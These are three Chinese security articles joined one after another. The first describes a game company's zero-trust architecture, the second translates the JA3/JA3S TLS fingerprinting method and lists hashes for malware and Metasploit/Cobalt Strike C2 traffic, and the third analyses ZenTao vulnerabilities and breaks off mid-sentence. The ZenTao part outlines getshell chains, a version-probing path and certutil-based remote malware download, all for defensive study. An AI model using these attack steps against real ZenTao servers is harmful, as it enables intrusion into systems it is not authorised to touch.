为什么这么说呢？因为我们是一个游戏公司，游戏公司是非常重视安全问题的；所以我们本身就有安全方面的一些需求，第二个的就是我们整个团队的都对安全是比较重视的，因为一款游戏的安全是可以决定游戏的生命周期的，在推广零信任的时候了团队的配合程度也是非常重要的；第三点就是我们把零信任安全建设方案那么跟领导汇报之后，领导也是非常支持我们去做这样一件事情。
### 3.1 安全需求
刚才说到了我们是有安全需求的，那我们趣加为什么有这样的安全需求呢，这里我举一个例子。
#### 3.1.1 网络架构
我们公司主要将网络了分为两个网络，分别是内部的办公网络，和面向公众的网络。
基于这两个网络建设的安全体系，其中内部办公网了默认认为是可信网络，也就是说你只要连接到这个办公网络；你访问内部的一些服务，他都认为是可信的，你只需要经过简单的一些身份验证就可以进行操作；但是这里有一些问题，比如说在去年2020年哪疫情期间，很多同事都在家办公，在家办公要访问内部办公系统就得通过vpn去连接内部网络；这样的网络架构其实是有一些弱点的；
VPN只能保证这个身份的可信，但是并不能保证设备的安全性，另外很多时候连接了VPN，但访问的流量并不需要使用VPN；比如说微信以及访问一些非办公网内的网页，其实是浪费vpn的资源；我们在想如何不使用vpn，保证安全性的同时又能访问到内部办公网内部的服务，这个时候零信任的理念其实是非常合适的。
#### 3.1.2 零信任理念
这里了我总结了几点零信任的一些理念，这里列了四条
第一点是默认不信任，默认不信任用户也不信任设备以及不信网络，我们之前的一个办公网的结构了其实就是默认信任网络，以及默认信任所有设备；这一条理念其实是可以补齐我们的一些短板
第二点是动态的访问权限，我们之前的内部办公网只要你连接到这个网络，并且身份经过简单的一次校验就可以操作后面的权限，这里也能加强我们的身份验证，因为它在登录之后还是一直是持续在验证；比如说我认为某个用户不合法，我随时可以把这个用户删除，它之后的访问就立即给他前端了。
第三点是减少资源的暴露面，缩小攻击的范围，之前我们要访问内部服务，只需要链接办公网就可以直接连接服务，然后服务自己去权限控制，有一些服务其实安全性是挺弱的，比如说弱口令等等，攻击的范围还是是比较广泛的
第四点也就是持续的评估与安全响应，通过多个维度来判断某一个请求是否足够安全。
#### 3.2.3 建设目标
结合网络现状和零信任的一些理念相结合，我们提出了三点建设目标
首先是让员工更安全和便捷的访问公司内部服务，第二点是确保访问者的身份和网络环境是安全的才允许访问，第三点是解决访问日志分散无法追溯用户的行为，那么主要是要做到这三点，这是我们建设的初衷。
### 3.2 重视安全
前面提到了我们游戏公司非常重视安全，注重安全的原因主要是安全能够直接影响公司的收入，这里我举两个游戏行业的例子
#### 3.2.1 源码泄露场景
首先说一下源码泄露案例，如果源码泄露会发生什么事情
很多同学可能听过传奇私服或者玩过这个传奇，在2002年的9月份传奇的源码通过意大利服务器源码泄露了，很快就传到国内，在短短的半年里就有500多家私人搭建传奇服务器，很多玩家开始从官服转到私服中去，传奇运营商收入大大受到影响，因此不再给传奇的开发商支付代理费用，导致这个开发商面临破产风险，后来甚至被收购。从这个例子里可以看到一款游戏的安全可以决定它的生命周期。
#### 3.2.2 高危漏洞场景
还有一个高危漏洞场景,在美国Def Con 2017的会议上，有一个黑客跟媒体透露他在过去二十年里面，利用网络游戏漏洞去赚钱的一些方法
并且现场演示在调试器中输入命令，给他游戏里的账户增加了很多很多的金币；不同的游戏使用不同的方法增加货币，相同的是添加的金币或者道具主要通过第三方市场进行交易来获利；在这个例子中可以看到一款游戏的安全性，可以直接影响公司收入营收；所以我们团队本身是非常重视安全的，老板的安全重视程度也给我们强有力的支撑，让我们能够安安心心的去建设零信任安全。
## 四、架构设计
在确定好做零信任建设的事情之后，我们主要做了三件事情
第一点是确定理想的一个目标，确定好目标之后就是熟悉现有网络架构；因为零信任并不是一个产品，把这个产品开发完成完就完事了，它非常贴合业务线，所以要熟悉当前的网络结构，然后再把目标和现状两者相结合得到一个可以实施的目标方案；
### 4.1 理想中的目标
这张图是我们理想中的目标效果，在图中可以看到我希望所有的访问用户的都通过安全网关代理去访问这些内部服务
在代理访问之前，我们会去验证访问者的身份是否合法，同时验证这个设备是否为内部设备，以及他的请求参数当中有没有非法请求，另外了还有一些他的一些异常行为，比如说他平时都是在工作时间去访问这个服务，突然有一天他在凌晨一点两点去访问这个服务，这个时候了我们就会将他的这个安全等级变低，需要他二次验证来提升安全评分；
实现这些目标，需要做到左边的几项，比如说资源统一管理和统一控制外部访问，比如说我们需要去统一管理这些用户，统一控制这些设备，统一让用户通过安全网关进行访问内部服务；所以这些业务需要配置一些防火墙限制，只允许安全网关去访问它；另外两点是希望动态调整访问控制策略以及希望能减少VPN的使用。
### 4.2 熟悉现有架构
确定好理想目标后，得熟悉一下现有的网络结构，目前的网络现状主要是网络可信和身份验证两个机制，所以我着重了解这两个。
#### 4.2.1 网络准入
先来说一下pc设备，比如说windows mac
linux这些设备要接入内部网络可以有三种方式，首先是在家办公的场景会通过vpn去连接，连接vpn的时候需要登录账号，第二个是在公司办公的场景一般是通过wifi连接我们的网络，连接wifi之后还会需要通过访问登录账号和密码来确认身份，最后一种是办公网的网线接入；其实手机之类的移动设备接入方式和电脑基本一致，还有一些哑巴设备比如说打印机摄像头主要是通过网线去连接内部网络。
这里了讲一下目前网络的几点问题
第一点是一个用户连接到我们内部往来之后，如果他也想访问某一个服务，完全是靠这个服务本身进行权限控制，没有统一的身份去控制它是否能够访问；有一些系统是有一些弱口令或者薄弱账号的，这是从安全性角度思考；
第二点是vpn的稳定性无法保证，比如有些员工在高铁上，需要访问办公网内部的服务，这个时候得先通过VPN连接到内部往来，VPN是个长链接不一定稳定一直稳定；同时还有一些流量并不是需要通过vpn才能访问的，但都通过VPN显然增加了网络直接耗费；
第三点是用户和设备和应用程序都在同一个网络中，这是不合理的，应该是我们不同的部门在不同的一个网络隔离区域中，比如开发部门有一个开发网络，行政部门有一个行政的网络，网络之间需要有一个隔离。
#### 4.2.2 身份认证
身份认证主要是账号验证这方面，账号我们主要由两部分组成
一部分是公司的统一账号，另一部分就自建账号，目前正式员工都有这样一个统一账号，但是一些外包人员他就想访问某一个业务，会在业务系统上给他开了一个自建的账号，还有一部分系统因为使用开源系统，改造起来比较麻烦，还停留在自建账号上。
### 4.3 调整后的方案
在熟悉现有结构后，结合之前理想中的目标，我们需要设计一套可落地的架构，主要是这个图，在图中可以看到，所有的请求都通过通过终端去访问办公网应用，都要经过一个安全网关
这个安全网关他主要是一个代理的作用，在代理之前的他会调取安全策略中心的评估数据，通过这个数据判断请求是否合法，如果不合法会抛弃掉这个人请求；判断请求是否合法主要依赖于安全策略中心，安全策略中心的决策主要是依据设备管理中心和身份证的重心的数据
设备管理中心主要存储终端的安全基线数据，同时对设备签发证书，终端则会上报安全数据，比如进程是否安全、网络是否安全以及是否有锁屏，证书管理来主要是验证这个设备是否公司的合法设备。
比如有人使用私人设备去访问公司的办公网络，我们是不允许的，设备管理中心就会给此设备评分比较低；另外一个依据是身份证在中心，主要是验证一下用户的一个身份信息是否合法，综合这些信息就得到了一个安全评分，安全评分比较低的时候我们可能会通过人脸识别或者其它的多因子认证来提升他的一个安全评分，最终决策此请求是否可以访问我们办公网的应用
### 4.4 建设模块
刚才我们通过架构图简单降到了5个模块的作用，现在我们仔细来看一下这五大模块
#### 4.4.1 身份认证中心
身份认证中心主要的作用是提供身份认证，除了平时的常规认证外，里面应该有一些加强的二次认证方法，多维度来确保身份的可信；这里我们主要是使用第三方的身份认证服务，阿里云的Idaas服务和谷歌的google身份认证器。
#### 4.4.2 安全策略中心
安全策略中心刚才已经讲到，他主要是判断下这个请求是否可以访问，主要是依据这个身份认证和设备风险动态生成的安全策略，并且需要实时更新策略；
另外有些应用安全等级需要比较高，比如财务系统可能要求二次多因子认证来增加安全评分。
#### 4.4.3 安全网关
安全网关的主要作用是代理外网的流量到内部，安全网关在进行转发前会先判断一下已经登录，如果没有登录会让请求跳转到idaas系统，让用户先进行登录；
再次请求时候会调用安全策略中心的安全评分，如果它的评分比较低会阻止此请求的访问；如果是合法的可以对这个请求进行一些流量钩子，比如访问一个wiki系统，可以在这加一些水印。
当流量都经过安全网关的时候，可以将日志存储起来，放到日志分析平台中进行统计分析，将来可以追溯和审计。
#### 4.4.4 设备agent
设备agent主要就是收集终端的一些安全信息，比如系统信息，网络连接信息、是否安装杀毒软件，将这些信息上报到我们的设备管理中心的服务器。
#### 4.4.5 设备管理中心
设备管理中心主要是存储设备上报一些的安全信息，以及这些设备进行认证，判断设备了是不是我们公司的内部设备等等，给安全决策中心提供数据支持。
## 五、建设经验
零信任建设不是一个短期能够完成的事情，谷歌建设的零信任建设花了近十年时间，前面何艺老师在完美世界建设零信任也花了四年的时间，因此零信任不是短时间内能完成的，不过现在零信任相对来说已经有一个基本的架构了，所以我们建设起来会快很多，但是呢也是一个周期的。
### 5.1 分阶段实施
零信任建设拆解下来大致需要去做6个事情
我们趣加在建设零信任的时候是分阶段去实施的，主要分成了四个阶段，其中Q1为第一阶段，首先是要有一个安全网关，并且支持身份验证，这是最基础的功能点，然后就是去接入一些业务去验证这个模式的可行性，在这个过程中会收集到很多需求，将其改进之后继续推进业务的接入，我们第一阶段的事情已经落地了；目前正在建设第二阶段，第二阶段主要是业务的全量接入，和终端软件的第三方购买评估，业务已经接入完成，终端还在评估中。
#### 5.1.1 第一阶段
第一阶段的主要是搭建一个安全网关，实现最基本的需求，比如流量转发和登陆，以及身份认证，接入部分办公应用验证这个模式是否可行。
#### 5.1.2 第二阶段
第二阶段了主要是接入全量应用进来，同时我们需要去调研这个终端的的产品，他需要支持这个基线检测、证书签发、TLS双向认证。
#### 5.1.3 第三阶段
第三和第四阶段目前来说了我们只是一个规划阶段，还没有去落地实施，这部分我不去过多讲解了
### 5.1.4 长期实施
有些事情可以在各阶段都去做，并没有依赖关系
比如说整合业务的需求，支持更加细致一些权限控制访问，还可以去丰富代理网关的能力，包括流量拦截和行为分析统计，内容注入，比如说水印等;第三个是丰富用户行为审计能力,结合业务访问行为和终端安全日志，全面监控安全风险。
### 5.2 细节性建设
这里我讲一些我们建设细节，主要推荐几个开源工具
#### 5.2.1 openresty
前面我们讲到安全网关，安全网关主要是转发的一个作用，这里很多同学会想到Nginx服务器，我这里也是用的Nginx服务器，不过对Nginx进行了一个封装的服务，叫做openresty，它更方便我们去执行一些lua脚本
#### 5.2.2 NginxWebUi
如果使用Nginx形式进行转发，肯定会涉及到Nginx配置文件，配置文件如果使用vim编辑器去转发编辑，很难免会出错；所以最好是有一个界面，可以在界面上操作并生成配置文件。
这里我推荐一个开源工具叫NginxWebUi的开源项目，可以在图形界面当中就完成了一个反向代理的配置
### 5.2.3 配置分发
我们趣加在全球有二十多个节点，每个节点都有服务器，如果我们将代理网关放在一个节点，代理速度会非常慢，所以我们不可能把节点都部署一个节点；当多个节点的时候，配置文件同步就需要一个方案了
我们的方案是首先由NginxWebUi生成配置，有一个程序会监听文件夹的修改，如果有修改会将这些配置提交到gitlab仓库；同时会通知到各个节点并把版本号传递过去，节点会从gitlab服务器拉去最新配置，检测配置文件是否会报错，如果不报错则会重启Nginx，并将节点所使用的版本传递到中心去。
* * *
作者：汤青松
日期：2021-5-14 | 社区文章 |
原文：<https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967>
## 摘要
在这篇文章中，我们将为读者介绍如何使用JA3和JA3来提取和识别客户端和服务器之间的TLS协商的指纹。这种组合型的指纹识别技术，能够为特定客户端与其服务器之间的加密通信提供具有更高的识别度。例如：
标准Tor客户端：
JA3 = e7d705a3286e19ea42f587b344ee6865（Tor客户端）
JA3S = a95ca7eab4d47d051a5cd4fb7b6005dc（Tor服务器的响应）
由于Tor服务器总是以完全相同的方式来响应Tor客户端，所以，这一特征能够为确认相关流量来自于Tor提供更高的置信度。更多例子——
Trickbot恶意软件：
JA3 = 6734f37431670b3ab4292b8f60f29984 （trickbot）
JA3S = 623de93db17d313345d7ea481e7443cf（C2服务器的响应）
Emotet恶意软件：
JA3 = 4d7a28d6f2263ed61de88ca66eb011e3 ( Emotet )
JA3S = 80b3a14bccc8598a1f3bbe83e71f735f (C2服务器的响应 )
在这些恶意软件样本中，C2服务器始终以完全相同的方式来响应恶意软件客户端，应该说是分毫不差。因此，即使流量被加密，并且，即使不知道C2服务器的IP地址或域名，因为它们会不断变化，我们仍然可以通过指纹来识别客户端和服务器之间的TLS协商，以提高恶意通信识别结果的置信度。
实际上，JA3和JA3S工具现在已经开源，读者可以从下面的地址进行下载：
https：//github.com/salesforce/ja3
## JA3背景知识
我们在2017年的一篇文章中，公布了JA3软件的源码；简单来说，JA3就是一种在线识别TLS客户端指纹的方法：
[Open Sourcing JA3SSL/TLS Client Fingerprinting for Malware
Detectionengineering.salesforce.com](https://engineering.salesforce.com/open-sourcing-ja3-92c9e53c3c41 "Open Sourcing JA3SSL/TLS Client Fingerprinting for
Malware Detectionengineering.salesforce.com")
实际上，对TLS客户端进行指纹识别的思想，最初来自于[Lee Brotherston](https://twitter.com/synackpse "Lee
Brotherston")于2015年的一项研究成果，对这项研究感兴趣的读者可以参阅[这里](https://blog.squarelemon.com/tls-fingerprinting/
"这里")；与该思想相关的DerbyCon演讲可以参阅[这里](https://www.youtube.com/watch?v=XX0FRAy2Mec
"这里")。如果没有Lee的研究论文和开放源码，我们也就不会开始研究JA3了。所以，在此要感谢Lee以及所有相关文章和开放源代码的作者们！
我们知道，不仅"良性的"应用程序会使用TLS及其前身SSL对其流量进行加密，而且恶意软件也常常这样做；前者这样做的目的是确保数据安全，而后者这样做的目的则是将其流量隐藏在噪声中。为了启动TLS会话，客户端将在TCP
3次握手后发送TLS客户端的Hello数据包。这个数据包及其生成方式取决于构建客户端应用程序时所使用的软件包和方法。如果接受TLS连接，服务器将使用基于服务器端库和配置以及Client
Hello消息中的详细信息创建的TLS Server Hello数据包进行响应。由于TLS协商是以明文的方式传输的，所以，我们可以使用TLS Client
Hello数据包中的详细信息对客户端应用程序进行指纹识别。
这张精心绘制的网络图为我们展示了SSL/TLS连接刚开始的通信模式。
JA3方法用于收集Client
Hello数据包中以下字段的十进制字节值：版本、可接受的密码、扩展列表、椭圆曲线密码和椭圆曲线密码格式。然后，它将这些值串联在一起，使用“,”来分隔各个字段，同时，使用“-”来分隔各个字段中的各个值。
使用Wireshark展示的Client Hello数据包示例
这些字段的顺序如下所示：
TLSVersion，Ciphers，Extensions，EllipticCurves，EllipticCurvePointFormats
例如：
769,47–53–5–10–49161–49162–49171–49172–50–56–19–4,0–10–11,23–24–25,0
如果Client Hello数据包中没有TLS扩展（TLS Extensions），则这些字段的值为空。
例如：
769,4–5–10–9–100–98–3–6–19–18–99,,,
然后，会计算这些字符串的MD5哈希值，以生成易于使用和共享的长度为32字符的指纹。它们就是JA3 TLS客户端的指纹。
769,47–53–5–10–49161–49162–49171–49172–50–56–19–4,0–10–11,23–24–25,0 →
ada70206e40642a3e4461f35503241d5
769,4–5–10–9–100–98–3–6–19–18–99,,, → de350869b8c85de67a350c8d186f11e6
我们还需要引入一些代码来解释Google的GREASE（Generate Random Extensions And Sustain
Extensibility），如这里所述。实际上，Google会使用这个机制来防止TLS生态系统中的可扩展性出现故障。不过，JA3会完全忽略这些值，以确保使用GREASE的程序仍然可以用单个JA3哈希值来完成指纹识别。
那么，JA3可以在TLS1.3上工作吗？当然了。
下面给出了两个不同浏览器的TLS1.3Client
Hello数据包，我们可以看到，不仅每个Hello数据包对其加密算法和扩展的排序各不相同，而且，它们也包含（或排除）了不同的加密算法和扩展。因此，JA3对于每个客户端来说仍然是唯一的。
## JA3S
创建JA3之后，我们可以利用同样的方法对TLS握手的服务器端进行指纹识别，即对TLS Server
Hello消息进行指纹识别。JA3S方法会收集Server
Hello数据包中以下各个字段的十进制字节值：版本、可接受的加密算法和扩展列表。然后，它将这些值串联在一起，使用“,”来分隔各个字段，并通过“-”来分隔每个字段中的各个值。
这些字段的顺序如下所示：
TLSVersion，Cipher，Extensions
例如：
769,47,65281–0–11–35–5–16
如果Server Hello数据包中没有TLS扩展（TLS Extensions），则这些字段的值为空。
例如：
769,47,
然后，会计算这些字符串的MD5哈希值，以生成易于使用和共享的长度为32字符的指纹。它们就是JA3S的指纹。
769,47,65281–0–11–35–5–16 → 4835b19f14997673071435cb321f5445
我们之所以使用MD5算法，是因为这样可以分别向Client Hello或Server
Hello中添加任意数量的加密算法或扩展，而我们的经验法则是，如果指纹不能放入tweet中，那么说明它就太长了。除此之外，之所以选择MD5算法，是因为这样一来，JA3方法可以更容易地集成到现有技术中。请记住，JA3是一种旨在可用于任意硬件上的任意应用程序中的方法。当然，我承认，模糊哈希算法的强度会更好一些，不过，由于我们希望使用的是一种可以集成到当前部署的技术中的方法，考虑到当前的大多数技术还不支持模糊哈希技术，而即使是最古老的NetScreen防火墙也可以支持大批量的MD5计算，所以，我们还是选择了MD5算法。此外，考虑到有限的数据集，这里根本就不需要考虑哈希值的碰撞问题。我知道，MD5的安全性在安全社区中一直是一个有争议的问题，所以，有必要解释一下我们采用它的原因。
我们的代码不仅考虑到了记录整个字符串，同时还要记录用于指纹分析的哈希值。所以，我强烈建议，如果有可能的话，最好记录JA3和JA3的整个指纹字符串及其哈希值。这样，指纹分析功能就可以派上用场了。但是，如果您所在公司的日志空间不足的话，那么只记录哈希值就可以了。
## JA3S的工作原理
我们发现，同一台服务器会根据Client Hello消息及其内容以不同的方式创建其Server
Hello消息。因此，这里不能像客户端和JA3那样，仅仅根据服务器的Hello消息来对其进行指纹识别。因此，有些人认为这种方法在这里没有什么价值。但我们还是这样做了了，因为Salesforce对于咖啡的供应是无限量的。经过一段时间后，我们发现，尽管服务器对不同客户端的响应不同，但它们对同一客户端的响应总是一致的。
在这个网络图中，我们可以看到，客户端正在发送TLS Client
Hello数据包，其中数据都是A。因此，服务器会的响应的内容也是由A构成，并将始终用A来提供同样的响应。
这里，另一个客户端也在发送数据包，并且内容都是B。类似的，服务器现在会用B进行响应，并且总是用B组成的B串进行响应。可以看到，对于不同的客户端，服务器会给予不同的响应，但是对于每个客户端来说，总是以相同的方式进行相应。
真实世界中的例子：
在这个日志输出中，JA3位于左侧，JA3S位于右侧
在本例中，我使用同一客户端与同一服务器交互了4次。然后，我再次使用不同的客户端进行了4次以上的交互。不难发现，服务器的响应方式对于同一客户端总是相同的，但对于不同的客户端却是不同的。
## 安全用途
如果攻击方构建了定制的恶意软件可执行文件，那么，JA3指纹很可能对该可执行文件来说是唯一的。例如，下面是渗透测试人员定制的恶意软件所发送的Client
Hello消息：
您可以看到，只有一个强度可接受的加密算法套件是异常的，并且生成的JA3在我们的环境中是唯一的，这使得无论目的地如何，都很容易检测到。
对于其他渗透测试工具（如PupyRAT）来说，它们也会指定自己的加密算法以及相应的排序方法，具体如下面的Pupy代码所示：
这使得Client Hello中的加密算法显得非常与众不同并且独一无二，从而可以得到一个独特的JA3：
然后，我们能够围绕JA3来提高自己的“猎捕”能力或响应能力。
但是，如果客户端应用程序使用公共库或操作系统套接字进行通信（如Python或Windows套接字），那么又该怎么办呢？JA3在环境中很常见，因此对检测不太有用。这就是JA3S可以帮助识别恶意通信的地方。
例如，MetaSploit的Meterpreter和CobaltStrike的Beacon都使用Windows套接字来启动TLS通信。对于Windows10来说，JA3=72a589da586844d7f0818ce684948eea（转到IP地址时），JA3=a0e9f5d64349fb13191bc781f81f42e1（转到域名时）。由于Windows上的其他合法应用程序都使用相同的套接字，因此，我们很难识别其中的恶意通信。但是，Kali
Linux上的C2服务器对该客户端应用程序的响应方式与Internet上的普通服务器对该套接字的响应方式相比来说是独一无二的。因此，如果我们结合JA3+JA3，那么我们就能够识别这种恶意通信，而不用考虑目的地IP、域名或证书等细节信息。在撰写本文时，如果搜索相关的数据，结果如下所示：
Metasploit Win10 至Kali：
(JA3=72a589da586844d7f0818ce684948eea 或 JA3=a0e9f5d64349fb13191bc781f81f42e1)
且 JA3S=70999de61602be74d4b25185843bd18e
Cobalt Strike Win10 至 Kali:
(JA3=72a589da586844d7f0818ce684948eea 或 JA3=a0e9f5d64349fb13191bc781f81f42e1)
且 JA3S=b742b407517bac9536a77a7b0fee28e9
需要说明的是，这种判断方法也存在着误判的风险。我们可以将JA3看作用户代理字符串的TLS等效项。即使某软件或恶意软件具有一个特定的字符串，那也不意味着该字符串永远是该软件所特有的。其他软件也可能使用相同的字符串。但是，这仍然不足以构成拒绝使用该字符串来增强我们的指纹分析和检测的理由。就像其他网络元数据一样，通过加入JA3，能够进一步丰富我们的数据信息。在使用JA3的情况下，当寻找特定内容的时候，JA3S可以显著降低误报水平。
## 渗透测试示例
在另一个示例中，我们让渗透测试人员使用Empire的Python版本作为恶意软件样本。在这个例子中，JA3是Python版本的，所以，它在任何开发人员环境中都不是唯一的。
如果我们在整个环境中搜索这个JA3，结果会是这样的：
但是，渗透测试人员的C2服务器会以一种独特的方式来响应Python客户端。因此，当我们搜索Python的JA3及其C2服务器响应的JA3时，结果如下所示：
不过，我当时忘了截图，所以，你得相信我，这就是Splunk的样子。
输出结果是恶意软件对其C2服务器的beacons。正如您所看到的，JA3和JA3相组合，实际上就是构成了客户端和服务器之间加密协商的指纹。
在完成渗透测试之后，他们将C2的镜像移动到了另一个IP地址和域名。但是，恶意软件和服务器还是相同的应用程序，因此，指纹也是不变的。因此，之前的指纹识别方法可以立即奏效。最后，渗透测试人员购买了一个完全不同的服务提供商的空间、一个新的貌似正规的证书以及一个新的域名，并将他们的C2镜像移动到那里。结果，该恶意软件还是立刻就被发现了。
由于该检测方法是基于特定的基础设施和技术的，而不是基于目的地IP地址、域名或证书的，所以，我们不再需要依赖更容易改变的传统IOC。这种检测方法将对手逼迫到了David
Bianco的痛苦金字塔的顶端，同时，还增加了对手的攻击成本。
## 小结
JA3和JA3S是一种基于TLS指纹的安全分析方法。JA3指纹能够指示客户端应用程序通过TLS通信的方式，而JA3指纹能够指示服务器响应。如果两者结合起来，实质上就生成了客户端和服务器之间的加密协商的指纹。虽然基于TLS的检测方法不一定是灵丹妙药，也不一定能保证映射到客户端应用程序，但它们始终是安全分析的轴心所在。
我们设计这些方法，主要是为了让它们能够容易地融入现有的技术中，并让生成的指纹易于使用和共享。同时，BSD3条款许可使其易于实现。我们只是想让事情简单些。这样做，我们的希望是，它成为贵国防御性武器库中的一个宝贵的补充，并激励其他人建立起我们的研究，推动工业向前发展。
Zeek/BRO和Python版本的JA3和JA3可以从<https://github.com/salesforce/ja3页面下载，同时，该页面内还提供了实现这些方法的其他工具的相关链接。>
JA3作者：
[John Althouse](https://twitter.com/4A4133 "John Althouse")
[Jeff Atkinson](https://twitter.com/4a7361 "Jeff Atkinson")
[Josh Atkins]([email protected] "Josh Atkins")
有关SSH客户端和服务器指纹识别的文章，请参阅`https://github.com/salesforce/hassh`上的[HASSH](https://engineering.salesforce.com/open-sourcing-hassh-abed3ae5044c "HASSH")。
对于客户端到JA3或HASHH的自动映射方面的介绍，请参阅`https://github.com/salesforce/bro-sysmon/`上的[Bro-Sysmon](https://engineering.salesforce.com/open-sourcing-bro-sysmon-946295bc7da2 "Bro-Sysmon")。
如有任何问题或意见，请随时给我发[电子邮件]([email protected]
"电子邮件")，或在推特上给我留言（[@4A4133](https://twitter.com/4A4133 "@4A4133")）。 | 社区文章 |
**作者：深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/LIugWEiETPwYmmLwZLe7Ag>**
## 一、组件介绍
### 1.1 基本信息
ZenTaoPMS（ZenTao Project Management
System），中文名为禅道项目管理软件。ZenTaoPMS是易软天创公司为了解决众多企业在管理过程中出现的混乱，无序的现象，开发出来的一套项目管理软件。
禅道项目管理软件的主要管理思想基于国际流行的敏捷项目管理方式——Scrum。scrum是一种注重实效的敏捷项目管理方式，但众所周知，它只规定了核心的管理框架，但具体的细节还需要团队自行扩充。禅道在遵循其管理方式基础上，又融入了国内研发现状的很多需求，比如bug管理，测试用例管理，发布管理，文档管理等。因此禅道不仅仅是一款scrum敏捷项目管理工具，更是一款完备的项目管理软件。基于scrum，又不局限于scrum。
禅道还首次创造性的将产品、项目、测试这三者的概念明确分开，产品人员、开发团队、测试人员，这三者分立，互相配合，又互相制约，通过需求、任务、bug来进行交相互动，最终通过项目拿到合格的产品。
### 1.2 版本介绍
禅道项目管理软件基于自主研发的PHP开发框架---禅道PHP框架开发而成，企业或者第三方的开发者可以通过这套框架，灵活的对禅道进行功能的修改或者扩展。经过逐年演化，禅道项目管理软件发展成为四大系列、功能完善的项目管理软件。禅道项目管理软件发展至今其核心开发系列共有以下三个，即禅道企业版、禅道专业版、禅道集团版、禅道开源版。其中禅道开源版是基础版本；而专业版、企业版是根据禅道开源版进行二次开发而成，其间仅存在功能性上的不同，所以专业版、企业版是兼容同级开源版的；而集团版仅为部署架构上的不同，核心还是企业版，具体如下：
（1）禅道开源版（2009-2020）是禅道项目管理软件的基础版本，属于禅道项目的开发框架，其中仅开发了项目管理的基本模块。
（2）禅道专业版（2012-2020）是在禅道开源版的基础上增加增强功能。专业版推出的初衷是为IT企业或部门提供更完善的服务，专业版增强功能更加适合企业的内部流程化管理。同时专业版的增强功能都以收费插件的方式发布在禅道官网里，为用户提供单独下载使用的服务。
（3）禅道企业版（2017-2020），在禅道专业版功能的基础上，增加了运维管理、OA办公管理、反馈管理，以及文档的版本管理及在线预览等功能，可以为企业项目管理流程提供更全面的支撑。
（4）禅道集团版（2019-2020）主要包含主站平台和子站点两部分。集团版用户可以通过主站平台给旗下的 部门、
子公司或者第三方开发团队分别开通一个独立的子站点进行项目管理。集团版的子站点由禅道项目管理软件企业版提供项目管理服务，
每个子站点的数据都是独立且互不影响的。
版本细分如下图所示：
### 1.3 使用量及使用分布
根据全网数据统计，使用ZenTaoPMS的网站多达4万余个，其中大部分集中在国内，约占使用量的75%以上。其中，广东、浙江、北京、上海四省市使用量最高，由此可见，ZenTaoPMS在国内被广泛应用。
## 二、高危漏洞介绍
通过对ZenTaoPMS漏洞的收集和整理，过滤出其中的高危漏洞，可以得出如下列表。
漏洞名称 | 漏洞ID | 影响版本 | 漏洞披露日期
---|---|---|---
禅道 8.2-9.2.1 SQL注入导致前台Getshell | 无 | 禅道开源版 8.2-9.2.1 | 2018
禅道 后台代码注入漏洞 | 无 | 禅道开源版 <= 11.6 | 2019
禅道 后台任意文件删除漏洞 | 无 | 禅道开源版 <= 11.6 | 2019
禅道 后台任意文件读取漏洞 | 无 | 禅道开源版 <= 11.6 | 2019
禅道 后台文件包含漏洞 | 无 | 禅道开源版 <= 11.6 | 2019
禅道 后台SQL注入漏洞 | 无 | 禅道开源版 <= 11.6 | 2019
禅道 任意文件上传漏洞 | CNVD-C-2020-121325 | 10.x < 禅道开源版 < 12.4.3 | 2020
禅道 Pro 8.8.2 命令注入漏洞 | CVE-2020-7361 | 禅道Pro <=8.8.2 | 2020
从以上表可以看出，近年来禅道漏洞频发，从2018年开始，每年都会爆出比较严重的高危漏洞，通过这些高危漏洞均可对服务器造成一定的影响，甚至获取服务器的最高权限。
从漏洞分布的情况来看，禅道大部分的漏洞均属于后台漏洞，这源于禅道属于项目管理软件，均需要登录授权后方可操作系统中的任意模块，而系统中的未授权接口很少，在18年爆发一个未授权漏洞后，官方将对外开放的接口全部筛选修复后，就导致对外开发接口极少，切很难有漏洞利用点，故截止到现在，禅道所爆发的漏洞均需要后台一定的权限账户方可执行。
我们可以看到2018年禅道爆发出多个漏洞，其实这些漏洞原理基本一致，均为越权调用getModel函数导致，后面我们会在详细分析中讲解该部分漏洞的原理。另外，我们发现禅道爆发的漏洞基本存在于开源版，但这不意味着这些漏洞仅存在于开源版，开源版是禅道其他系列的基础框架版本，所以开源版的漏洞大概率也会在于对应兼容系列的对应版本中。且禅道具有可扩展性，所以大部分使用者均可采用开源版，在进行二次开发，适用到自己项目中。
## 三、漏洞利用链
基于ZenTaoPMS高危漏洞，我们可以得出几种可以利用的高危利用链。
#### 3.1 无需权限
**ZenTaoPMS (8.2-9.2.1) - GetShell**
* 首先明确ZenTao框架系列版本,访问该路径可获取版本信息：`/zentao/index.php?mode=getconfig`
* 如果利用此漏洞，需要系统有文件写入权限。
#### 3.2 仅需低权限
**ZenTaoPMS <11.6 - GetShell**
* 首先明确ZenTao框架系列版本,访问该路径可获取版本信息：`/zentao/index.php?mode=getconfig`
* 需要获取到ZenTaoPMS的后台用户登录账号密码或者cookie，执行以上漏洞生成shell，最终可getshell。
#### 3.3 需要管理员权限
**ZenTaoPMS < 12.4.3 - GetShell**
* 首先明确ZenTao框架系列版本,访问该路径可获取版本信息：`/zentao/index.php?mode=getconfig`。
* 需要获取到ZenTaoPMS的后台管理员账户登录账号密码或者cookie。
* 漏洞只适用于Windows一键安装版（未加安全限制）、Linux一键安装版（未加安全限制）、安装包版。Windows/Linux一键安装版(加入安全限制)由于做过新上传文件限制，无法执行上传后的文件，导致漏洞无法利用。
**ZenTaoPMS Pro <= 8.8.2 - GetShell**
* 需要获取到ZenTaoPMS的后台管理员账户登录账号密码或者cookie。
* 该漏洞命令执行无回显，可通过certutil.exe下载安装远程可利用恶意软件，最终getshell。
## 四、高可利用漏洞分析
### 4.0 技术背景：禅道项目管理系统路由模式
禅道有两种路由模式PATH_INFO、GET方式，其中GET方式为常见的m=module&f=method形式传递模块和方法名，而PATH_INFO则是通过路径和分隔符的方式传递模块和方法名，路由方式及分隔符定义在config/config.php中。
* PATHINFO：`user-login-L3plbnRhb3BtczEwLjMuMS93d3cv.html` 以伪静态形式在html名称中传参
* GET：`index.php?m=block&f=main&mode=getblockdata` 类似于其他常规cms在get参数中传参我们
我们从禅道的入口index.php文件来进行讲解：
从`index.php`文件，首先看到加载了一些framework中的框架类，然后声明了一个路由$app，之后就做了一些系统的基本判断，最重要的就在最下方的三句话，分别是三个功能：解析请求、检测权限、加载模块；
$app->parseRequest();
$common->checkPriv();
$app->loadModule();
即parseRequest()函数就是路由解析入口。进入到`\framework\base\router.class.php`文件中的`parseRequest()`函数：
